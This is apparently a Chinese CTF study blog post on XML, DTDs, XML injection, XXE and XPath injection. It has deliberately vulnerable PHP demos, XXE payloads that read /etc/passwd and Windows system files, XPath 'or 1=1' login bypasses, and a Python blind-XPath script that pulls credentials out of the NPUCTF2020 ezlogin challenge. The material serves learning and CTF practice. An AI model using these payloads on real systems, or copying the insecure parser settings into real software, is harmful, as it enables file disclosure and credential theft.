March 6, 2023

XXE注入的Remake之旅

为啥有了这篇文章

在刷buu上的题目时,找到了一个关于xpath注入的题,然后转了转我愚笨的大脑,发现忘记了,忘了再学一遍,顺便总结一下,之前都没总结过这东西

XML简单介绍

XML全称可扩展标记语言(EXtensible Markup Language)。
XML和HTML的语言风格很像,都是标记语言,有对应的tag,唯一不同的就是作用,XML侧重于数据传输,HTML注重与标记语言

XML的基本格式

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title> <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author> <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->

上面就是一个标准的XML格式,其实看起来就是HTML没错,代码块里看的可能不清楚:
image.png
在IDEA里缩进就可以看清楚,XML是有父节点和子节点的,和HTML一样

可以写个PHP代码来读取XML文件:

1
2
3
4
5
6
7
8
9
10
<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('C:\Users\22927\Downloads\source\src\static\XXE.xml');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
var_dump($creds);

?>

输出结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
class SimpleXMLElement#2 (2) {
public $comment =>
array(2) {
[0] =>
class SimpleXMLElement#3 (0) {
}
[1] =>
class SimpleXMLElement#5 (0) {
}
}
public $book =>
class SimpleXMLElement#4 (6) {
public $@attributes =>
array(1) {
'category' =>
string(7) "COOKING"
}
public $comment =>
array(5) {
[0] =>
class SimpleXMLElement#6 (0) {
...
}
[1] =>
class SimpleXMLElement#7 (0) {
...
}
[2] =>
class SimpleXMLElement#8 (0) {
...
}
[3] =>
class SimpleXMLElement#9 (0) {
...
}
[4] =>
class SimpleXMLElement#10 (0) {
...
}
}
public $title =>
string(16) "Everyday Italian"
public $author =>
string(19) "Giada De Laurentiis"
public $year =>
string(4) "2005"
public $price =>
string(5) "30.00"
}
}

在XML元素内部是不可以有特殊字符的比如< > &
image.png
否则就报错,要使用就得转义,在XML中也有几种预定义实体
即用&lt; &gt; &amp; &apos; &quot; 替换 < > & ' "

DTD(document type definition)

DTD是XML的一部分,他用来给XML定义一种格式规范,比如自定义一种标签
DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

1、内部DTD

假如在XML中定义了DTD,那么就要严格遵循DTD里的规范,毕竟DTD是对XML的一种限制,如下面的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,head,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Boogipop</to>
<from>is</from>
<head>Learning</head>
<body>XXE</body>
</note>

上面出现了一些元素的类型,在注释中都有解释,下面给一张图来罗列一下不同的类型:
image.png

在上述例子中我们只定义了四种标签,因此不能再有其他标签,否则会报错,如果要添加新的标签,首先得在DTD中定义:
image.png

2、外部DTD

(1)引入外部的dtd文件
<!DOCTYPE 根元素名称 SYSTEM "dtd路径">
(2)使用外部的dtd文件(网络上的dtd文件)
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">
当使用外部DTD时,通过如下语法引入:
<!DOCTYPE root-element SYSTEM "filename">
示例代码:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>Boogipop</to>
<from>is</from>
<head>Learning</head>
<body>XXE</body>
</note>

test.dtd:

1
2
3
4
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->

3、DTD属性
这部分大致的理解一下就行,因为我们见得不多
属性声明语法:
<!ATTLIST 元素名称 属性名称 属性类型 默认值>
DTD实例:
<!ATTLIST payment Luckey CDATA "Q">
XML实例:
<payment Luckey="Q" />
以下是 属性类型的选项:
image.png
默认属性值可使用下列值:
image.png
其实就是跟HTML标签属性一样

4、DTD实体

一般实体和参数实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明|

你可以理解DTD实体就是定义一个变量,给标签内的元素赋值
DTD实体假如按照参数有无,可以分为两种,一般实体、参数实体
一般实体的声明:<!ENTITY 实体名称 "实体内容">
参数实体的声明:<!ENTITY % 实体名称 "实体内容">
一般实体在代码块中引用通过&名称进行引用,而参数实体是通过%名称进行引用的
另外需要注意的是他们引用的位置,一般实体直接在代码块进行引用如:

1
2
3
4
5
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY writer "Dawn">
]>
<test>&writer;</test>

如上,直接给元素进行赋值
而参数实体是在DTD内部进行引用,如:

1
2
3
4
5
6
7
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY %writer "Dawn">
%writer
]
>
<test>test</test>

内部实体和外部实体

假如按照引用来划分,可以分为内部实体和外部实体,引用方式和引用内部DTD和外部DTD一样

外部实体,用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机。

1
2
3
<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

例如:

1
2
3
4
5
6
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&file;</author>

外部实体的引用是支持协议的,如file协议,http协议,对于PHP的话支持的协议更多,比如filter,data,php等等…..

参数实体+外部实体组合拳

参数实体和外部实体可以直接组合在一起使用
<!ENTITY % 实体名称 SYSTEM "URI/URL"> ,如:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/passwd">
%file;
]>

XML注入

XML注入和SQL注入有异曲同工之妙,原理就是闭合标签,达到闭合的效果,其实XML注入比较简单,这里我就自己建立一个小Demo来模拟一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

libxml_disable_entity_loader (false);
$input=file_get_contents("php://input");
$xmlfile = "<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<bookstore>
<book category='COOKING'>
<title>Everyday Italian</title>
<author>$input</author>
<year>2005</year>
<price>30.00</price>
</book>
</bookstore>";
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
var_dump($creds);

?>

image.png
在这个demo中我们可以控制标签中的Author标签的值,因此我们可以尝试闭合上面的标签,达到注入的效果,假如我们想要修改price标签的值为hacked
那么我们可以构造如下payload
Boogipop</author><price>hacked</price><author>
image.png
XML注入就是这么简单,内容就这么点儿

防御建议

直接把那些脏字符ban了就行
image.png
将他们转义即可抵御攻击

XXE外部实体注入

XXE全称就是外部实体注入,其实外部实体注入的利用有太多了,具体的几个点可以参考:
https://xz.aliyun.com/t/3357#toc-14
这里把外部实体注入的利用方法基本都全部罗列了,感谢师傅们的总结QWQ
然后我这里把最常用的举个例子,最常用不亚于file协议来读了:

1
2
3
4
5
6
7
8
9
10
<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;

?>
1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>

image.png
成功读取windows的系统文件

XXE内部实体注入

内部实体注入就比较好玩儿了,可以参考:
https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
主要方式就是外部实体加参数实体,通过报错带出数据
image.png

Xpath基本语法

先说一下Xpath的基本术语:
– Parent:父节点
– Child:子节点
– Sibling:同胞节点
– Ancestor:先辈节点
– Descendant:后代节点
image.png

Xpath基本语法如下:
image.png
看完后其实也没啥,就是有点复杂然后容易忘,所以这里直接拿2个例题来说

Xpath的逻辑运算符:
image.png

Xpath Demo1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<root>
<users>
<user>
<id>1</id>
<username>test1</username>
<password>test1</password>
</user>
<user>
<id>2</id>
<username>test2</username>
<password>test2</password>
</user>
</users>
</root>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$xml=simplexml_load_file('XXE.xml');
$name=$_GET['name'];
$pwd=$_GET['pwd'];
$query="/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
echo $query;
$result=$xml->xpath($query);
if($result){
echo '<h2>Welcome</h2>';
foreach($result as $key=>$value){
echo '
ID:'.$value->id;
echo '
Username:'.$value->username;
}
}
?>

image.png
可以看到正常查询是会有所回显的,假如我们和SQL注入一样尝试闭合会发生啥呢?
?name=test1'or+1=1+or+'1'='1&pwd=test1
image.png
这样查询语句就变成了/root/users/user[username/text()='test1'or 1=1 or '1'='1' and password/text()='test1'],因此回显了所有数据,和万能密码一样

[NPUCTF2020]ezlogin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import requests
import re

s = requests.session()
url ='http://47e7790f-8a53-4efa-988b-7a350ebb91d5.node3.buuoj.cn//login.php'



head ={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
"Content-Type": "application/xml"
}
find =re.compile('<input type="hidden" id="token" value="(.*?)" />')

strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'


flag =''
for i in range(1,100):
for j in strs:

r = s.post(url=url)
token = find.findall(r.text)
#猜测根节点名称
payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测子节点名称
payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

#猜测accounts的节点
payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

#猜测user节点
payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

#跑用户名和密码
payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])


print(payload_password)
r = s.post(url=url,headers=head,data=payload_username)
print(r.text)


if "非法操作" in r.text:
flag+=j
print(flag)
break

if "用户名或密码错误!" in r.text:
break

print(flag)

xpath盲注,和sql盲注一样,属于是有技术的
20F55R(%R}VBEGDU5WMDN9W.jpg

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#XXE